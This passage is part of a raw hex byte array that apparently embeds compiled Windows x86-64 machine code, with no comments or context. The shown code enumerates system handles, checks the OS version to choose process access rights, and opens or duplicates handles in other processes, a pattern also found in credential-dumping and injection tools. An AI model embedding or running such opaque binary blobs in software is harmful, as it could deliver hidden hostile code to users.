,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x4E,0x48,0x83,0x7D,0xE8,0x00,0x74,0x47,0x48,0x83,0x7D,0xE8,0x00,0x74,0x40,0x48,0x8B,0x45,0xE8,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8F,0x87,0x00,0x00,0x48,0x8B,0x05,0x00,0x19,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xF8,0x18,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xD4,0x89,0xC2,0x48,0x8B,0x45,0xD8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3B,0x87,0x00,0x00,0x48,0x8B,0x5D,0xD8,0x48,0x8B,0x05,0xA8,0x18,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA4,0x18,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x89,0x4D,0x20,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x47,0x18,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x38,0x18,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x0B,0x01,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x4E,0xA9,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2C,0x0F,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xE4,0x00,0x00,0x00,0x48,0x8D,0x55,0xD4,0x48,0x8D,0x45,0xD8,0x48,0x89,0xC1,0xE8,0xCE,0x0A,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xCA,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xE9,0x95,0x00,0x00,0x00,0x48,0x8B,0x4D,0xD8,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x01,0xC8,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0x20,0x75,0x5C,0x48,0x8B,0x45,0xE0,0x8B,0x40,0x10,0x23,0x45,0x28,0x39,0x45,0x28,0x75,0x50,0x48,0x8B,0x45,0xE0,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0xD0,0x39,0xC2,0x75,0x41,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x10,0x27,0x00,0x00,0x77,0x62,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x40,0x06,0x44,0x0F,0xB7,0xC0,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x8D,0x48,0x01,0x48,0x8B,0x55,0xE8,0x89,0x0A,0x4C,0x89,0xC1,0x48,0x8B,0x55,0xE8,0x89,0xC0,0x48,0x89,0x4C,0xC2,0x08,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x39,0x45,0xF8,0x0F,0x82,0x5C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x30,0x48,0x8B,0x55,0xE8,0x48,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xD4,0x89,0xC2,0x48,0x8B,0x45,0xD8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x67,0x85,0x00,0x00,0x48,0x8B,0x5D,0xD8,0x48,0x8B,0x05,0xD4,0x16,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xD0,0x16,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x4E,0x48,0x83,0x7D,0xE8,0x00,0x74,0x47,0x48,0x83,0x7D,0xE8,0x00,0x74,0x40,0x48,0x8B,0x45,0xE8,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x13,0x85,0x00,0x00,0x48,0x8B,0x05,0x84,0x16,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x7C,0x16,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x89,0x4D,0x20,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0x18,0x16,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x09,0x16,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x04,0x01,0x00,0x00,0x48,0x8D,0x45,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x36,0xA7,0x00,0x00,0x48,0x89,0xC1,0xE8,0x04,0x0D,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xE4,0x00,0x00,0x00,0x48,0x8D,0x55,0xD4,0x48,0x8D,0x45,0xD8,0x48,0x89,0xC1,0xE8,0xA6,0x08,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xCA,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xE9,0x95,0x00,0x00,0x00,0x48,0x8B,0x4D,0xD8,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x01,0xC8,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0x20,0x75,0x5C,0x48,0x8B,0x45,0xE0,0x8B,0x40,0x10,0x23,0x45,0x28,0x39,0x45,0x28,0x75,0x50,0x48,0x8B,0x45,0xE0,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0xD0,0x39,0xC2,0x75,0x41,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x10,0x27,0x00,0x00,0x77,0x62,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x40,0x06,0x44,0x0F,0xB7,0xC0,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x8D,0x48,0x01,0x48,0x8B,0x55,0xE8,0x89,0x0A,0x4C,0x89,0xC1,0x48,0x8B,0x55,0xE8,0x89,0xC0,0x48,0x89,0x4C,0xC2,0x08,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xF8,0x01,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x39,0x45,0xF8,0x0F,0x82,0x5C,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x30,0x48,0x8B,0x55,0xE8,0x48,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0xD8,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xD4,0x89,0xC2,0x48,0x8B,0x45,0xD8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3F,0x83,0x00,0x00,0x48,0x8B,0x5D,0xD8,0x48,0x8B,0x05,0xAC,0x14,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA8,0x14,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x75,0x4E,0x48,0x83,0x7D,0xE8,0x00,0x74,0x47,0x48,0x83,0x7D,0xE8,0x00,0x74,0x40,0x48,0x8B,0x45,0xE8,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEB,0x82,0x00,0x00,0x48,0x8B,0x05,0x5C,0x14,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xE8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x54,0x14,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x66,0x0F,0xD6,0x45,0xF0,0x48,0x8D,0x55,0xC0,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x38,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD5,0x36,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x1D,0x8B,0x45,0xC4,0x23,0x45,0x18,0x39,0x45,0x18,0x75,0x09,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x0A,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x50,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0x83,0x7D,0x10,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x68,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xF0,0x48,0x8B,0x45,0x10,0xC7,0x44,0x24,0x30,0x02,0x00,0x00,0x00,0x8B,0x55,0x18,0x89,0x54,0x24,0x28,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0xC7,0xC0,0xFF,0xFF,0xFF,0xFF,0x48,0xC7,0xC2,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0xEE,0x35,0x00,0x00,0x89,0x45,0xFC,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x19,0x32,0x00,0x00,0x48,0xC7,0x45,0x10,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x50,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x01,0x00,0x00,0xC0,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x83,0x7D,0x10,0x00,0x0F,0x84,0x8E,0x00,0x00,0x00,0x83,0x7D,0x18,0x00,0x75,0x07,0xC7,0x45,0xFC,0x02,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x10,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x40,0x00,0x00,0x00,0x49,0x89,0xD1,0x49,0xC7,0xC0,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x3E,0x35,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x78,0x42,0x48,0x8B,0x45,0xF0,0x48,0x8D,0x4D,0xE8,0x8B,0x55,0xFC,0x89,0x54,0x24,0x30,0x8B,0x55,0x20,0x89,0x54,0x24,0x28,0x8B,0x55,0x18,0x89,0x54,0x24,0x20,0x49,0x89,0xC9,0x49,0xC7,0xC0,0xFF,0xFF,0xFF,0xFF,0x48,0xC7,0xC2,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0xFF,0x34,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0x10,0x00,0x74,0x0C,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x19,0x31,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x04,0x31,0x00,0x00,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x60,0x00,0x00,0x00,0x8B,0x45,0xEC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x83,0xF8,0x06,0x77,0x07,0xB8,0x10,0x04,0x00,0x00,0xEB,0x05,0xB8,0x10,0x10,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x60,0x00,0x00,0x00,0x8B,0x45,0xEC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x83,0xF8,0x06,0x77,0x07,0xB8,0x80,0x04,0x00,0x00,0xEB,0x05,0xB8,0x80,0x10,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x60,0x00,0x00,0x00,0x8B,0x45,0xEC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x83,0xF8,0x06,0x77,0x07,0xB8,0x10,0x04,0x00,0x00,0xEB,0x05,0xB8,0x10,0x10,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xE8,0xE7,0xFE,0xFF,0xFF,0x89,0x45,0xEC,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x83,0xBD,0x88,0x00,0x00,0x00,0x00,0x75,0x09,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x74,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x05,0xB8,0x00,0x00,0x00,0x00,0x89,0x45,0xDC,0x48,0x83,0x7D,0x10,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xE1,0x01,0x00,0x00,0x83,0x7D,0x30,0x00,0x74,0x0E,0xC7,0x45,0x28,0x01,0x00,0x00,0x00,0xC7,0x45,0x20,0x01,0x00,0x00,0x00,0x83,0xBD,0x90,0x00,0x00,0x00,0x00,0x74,0x07,0xC7,0x45,0x20,0x01,0x00,0x00,0x00,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x74,0x04,0x83,0x4D,0xE8,0x02,0x83,0x7D,0x70,0x00,0x75,0x06,0x83,0x7D,0x78,0x00,0x74,0x10,0x83,0x7D,0xDC,0x00,0x75,0x0A,0xE8,0xA9,0xFE,0xFF,0xFF,0x89,0x45,0xEC,0xEB,0x11,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x74,0x08,0xE8,0xE3,0xFE,0xFF,0xFF,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x89,0x45,0xE0,0x83,0x7D,0x28,0x00,0x74,0x07,0xC7,0x45,0xEC,0x00,0x10,0x00,0x00,0x44,0x8B,0x4D,0x38,0x44,0x8B,0x45,0x20,0x8B,0x55,0xEC,0x8B,0x45,0x18,0x8B,0x4D,0xE8,0x89,0x4C,0x24,0x30,0x8B,0x4D,0x48,0x89,0x4C,0x24,0x28,0x8B,0x4D,0x40,0x89,0x4C,0x24,0x20,0x89,0xC1,0xE8,0x4C,0x01,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0x08,0x01,0x00,0x00,0x8B,0x55,0xEC,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xD7,0xFB,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x0F,0x84,0xEF,0x00,0x00,0x00,0x83,0x7D,0x28,0x00,0x74,0x41,0x8B,0x4D,0xE8,0x8B,0x55,0xE0,0x48,0x8B,0x45,0xF0,0x41,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xC3,0xFC,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xC8,0x00,0x00,0x00,0x8B,0x55,0xE0,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x91,0xFB,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x75,0x52,0xE9,0xB8,0x00,0x00,0x00,0x83,0x7D,0x70,0x00,0x75,0x0F,0x83,0x7D,0x78,0x00,0x75,0x09,0x83,0xBD,0x98,0x00,0x00,0x00,0x00,0x74,0x38,0x83,0x7D,0xDC,0x00,0x74,0x32,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xE2,0xFB,0xFF,0xFF,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x79,0x8B,0x55,0xE0,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x3F,0xFB,0xFF,0xFF,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x74,0x64,0x83,0x7D,0x70,0x00,0x74,0x1A,0x8B,0x55,0xE8,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x37,0x0B,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x47,0x83,0x7D,0x78,0x00,0x74,0x1E,0x48,0x8B,0x95,0x80,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xFE,0x0B,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x26,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x13,0x48,0x83,0x7D,0xF0,0x00,0x74,0x0C,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xC0,0x2D,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x83,0x7D,0x38,0x00,0x75,0x61,0x83,0x7D,0x20,0x00,0x74,0x19,0x8B,0x4D,0x40,0x8B,0x55,0x18,0x8B,0x45,0x10,0x41,0x89,0xC8,0x89,0xC1,0xE8,0xE8,0x06,0x00,0x00,0x48,0x89,0x45,0xF8,0xEB,0x42,0x83,0x7D,0x28,0x00,0x75,0x3C,0x83,0x7D,0x30,0x00,0x75,0x36,0x83,0x7D,0x10,0x00,0x74,0x1F,0x8B,0x4D,0x40,0x8B,0x55,0x18,0x8B,0x45,0x10,0x41,0x89,0xC9,0x41,0xB8,0x00,0x00,0x00,0x00,0x89,0xC1,0xE8,0x93,0x00,0x00,0x00,0x48,0x89,0x45,0xF8,0xEB,0x11,0x8B,0x55,0x40,0x8B,0x45,0x18,0x89,0xC1,0xE8,0x0E,0x00,0x00,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x44,0x8B,0x45,0x18,0x8B,0x55,0x10,0x48,0x8D,0x4D,0xF0,0x48,0x89,0x4C,0x24,0x20,0x41,0xB9,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3F,0x2C,0x00,0x00,0x89,0x45,0xFC,0x81,0x7D,0xFC,0x1A,0x00,0x00,0x80,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x21,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x14,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x12,0xEA,0xFF,0xFF,0x85,0xC0,0x74,0xAE,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x44,0x89,0x4D,0x28,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x8B,0x45,0x28,0x89,0x45,0xD8,0x48,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x8B,0x45,0x10,0x48,0x89,0x45,0xB0,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x4C,0x8D,0x45,0xB0,0x48,0x8D,0x4D,0xC0,0x8B,0x55,0x18,0x48,0x8D,0x45,0xF0,0x4D,0x89,0xC1,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x24,0x2B,0x00,0x00,0x89,0x45,0xFC,0x81,0x7D,0xFC,0x0B,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x21,0x81,0x7D,0xFC,0x22,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x11,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x48,0x48,0x8D,0x6C,0x24,0x40,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x01,0x00,0x00,0xC0,0xC7,0x45,0xE8,0x20,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xF8,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0xC3,0x48,0x8B,0x05,0xD5,0x0C,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xC9,0x0C,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xD2,0x00,0x00,0x00,0x8B,0x55,0xE8,0x48,0x8D,0x4D,0xE8,0x48,0x8B,0x45,0xF0,0x49,0x89,0xC9,0x41,0x89,0xD0,0x48,0x89,0xC2,0xB9,0x10,0x00,0x00,0x00,0xE8,0xDF,0x2E,0x00,0x00,0x89,0x45,0xEC,0x81,0x7D,0xEC,0x04,0x00,0x00,0xC0,0x75,0x7C,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF0,0x7A,0x00,0x00,0x48,0x8B,0x05,0x61,0x0C,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x59,0x0C,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xF8,0x8B,0x45,0xE8,0x89,0xC3,0x48,0x8B,0x05,0x2D,0x0C,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x21,0x0C,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xEB,0x2D,0x83,0x7D,0xEC,0x00,0x79,0x08,0xEB,0x25,0x90,0xE9,0x4C,0xFF,0xFF,0xFF,0x90,0x48,0x8B,0x45,0x20,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0x8B,0x55,0xE8,0x48,0x8B,0x45,0x28,0x89,0x10,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x01,0x90,0x83,0x7D,0xFC,0x00,0x75,0x50,0x48,0x83,0x7D,0xF0,0x00,0x